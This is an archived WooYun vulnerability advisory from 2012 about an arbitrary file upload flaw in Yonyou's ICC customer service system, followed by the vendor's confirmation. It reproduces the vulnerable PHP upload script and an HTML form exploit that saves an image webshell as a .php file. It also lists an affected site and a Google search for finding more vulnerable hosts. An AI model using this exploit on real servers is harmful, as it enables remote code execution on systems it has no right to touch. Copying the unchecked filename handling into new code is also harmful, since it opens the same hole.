当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-06749

漏洞标题:再暴用友ICC网站客服系统任意文件上传漏洞

相关厂商:用友软件

漏洞作者: Jannock

提交时间:2012-05-06 20:09

修复时间:2012-06-20 20:10

公开时间:2012-06-20 20:10

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-06: 细节已通知厂商并且等待厂商处理中
2012-05-07: 厂商已经确认,细节仅向厂商公开
2012-05-17: 细节向核心白帽子及相关领域专家公开
2012-05-27: 细节向普通白帽子公开
2012-06-06: 细节向实习白帽子公开
2012-06-20: 细节向公众公开

简要描述:

再暴用友ICC网站客服系统任意文件上传漏洞,看了一下上一个漏洞:http://www.wooyun.org/bugs/wooyun-2010-04685,发现还存在其它的上传漏洞。

详细说明:

再暴用友ICC网站客服系统任意文件上传漏洞,看了一下上一个漏洞: WooYun: 用友ICC网站客服系统远程代码执行漏洞 ,发现还存在其它的上传漏洞。
不知是不是还没升级完成或是什么问题,但测试多个网站均存在漏洞。
/home/ecccs/web/5107/upload/screenImagesSave.php(相关上传的也同样有)

<?php
/**
* screenImagesSave.php
*
*/
require_once('../global.inc.php');
//get request.
$ft = intval($_REQUEST['ft']);
/*
chdir($CONFIG["canned_file_tmp"]);
exec("rm -rf *");
*/
$date = date("Ymd");
$dest = $CONFIG->basePath.'data/files/'.$date."/";
if (!is_dir($dest)) mkdir($dest, 0777);
$filename = paramsFmt(urldecode($_GET["filename"]));
$nameExt = strtolower($COMMON->getFileExtName($_FILES['file']['name']));
$unallowedType = array('php', 'jsp', 'asp', 'sh', 'pl', 'js', 'jar', 'jad', 'class', 'java');
if(in_array($nameExt, $unallowedType)){
if($ft == '1'){
echo 'pe';
}else if($ft == '2'){
echo 'fe';
}
exit;
}
/*
if (empty($filename)) $filename = date("Ymdhms")."_noname.file";
echo $date."/".$filename;
*/
$filenameNew = $dest.$filename;
if(empty($_FILES["file"]['error'])){
move_uploaded_file($_FILES["file"]["tmp_name"],$filenameNew);
}
if(file_exists($filenameNew)){
echo(urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename));
@chmod($filenameNew, 0444);
}else{
if($ft == '1'){
echo 'pe';
}else if($ft == '2'){
echo 'fe';
}
}
?>


注意到 filename 没有?有验证上传文件的类型,但保存的文件名却为:filename GET的参数。晕了。。
<form id="QuickSearch" name="QuickSearch" enctype="multipart/form-data" method="post" action="http://xxx.xxxx.com/5107/upload/screenImagesSave.php?filename=xx.php">
<input type="file" name="file">
<input type="submit" name="QuickSearchBtn" value="上传">
</form>
上传一个 jpg 的图片木马,即上传成功为xx.php的马。
测试了:
http://icc.5107.cn/
和Google搜索的
等都存在。
查找:
https://www.google.com/search?q=inurl:/5107/upload/upload.php&hl=en&noj=1&prmd=imvns&ei=E12mT4ugCcKjiQf7ofnHAw&start=10&sa=N&filter=0&biw=1366&bih=618

漏洞证明:

修复方案:

应该懂得!

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2012-05-07 10:50

厂商回复:

已确认问题存在,非常感谢Jannock@乌云对我们ICC软件安全性提升的巨大帮助,开发人员正在加紧修复此问题,我们会尽快修复所有受此问题影响的客户系统。

最新状态:

2012-05-14:最近爆出的文件上传问题都是旧有版本(4.1.0.0之前版本)存在的问题,自2009年以后的ICC新版本(4.1.0.0版本及后续版本)前端已全部迁移至JAVA中间件平台,并全部重写了前端web相关模块,文件上传采取了全新的实现方式,着重提升了系统安全性。由于部分版本定制导致新旧版本升级兼容性问题和业务问题使得部分用户未能升级到新版本,部分旧版本的安全性问题未能及时发现和修复,感谢piaoye@乌云对我们产品安全提升的关注。我们始终关注并尊重所有安全研究者对ICC产品的安全性提升的意见和建议,并承诺不掩盖任何已知问题,任何新旧版本存在的问题,我们都会认真修正,及时修复所有受影响的系统,再次对piaoye@乌云,only_guest@乌云,Jannock@乌云各位安全研究者对我们ICC产品安全提升的关注和巨大帮助。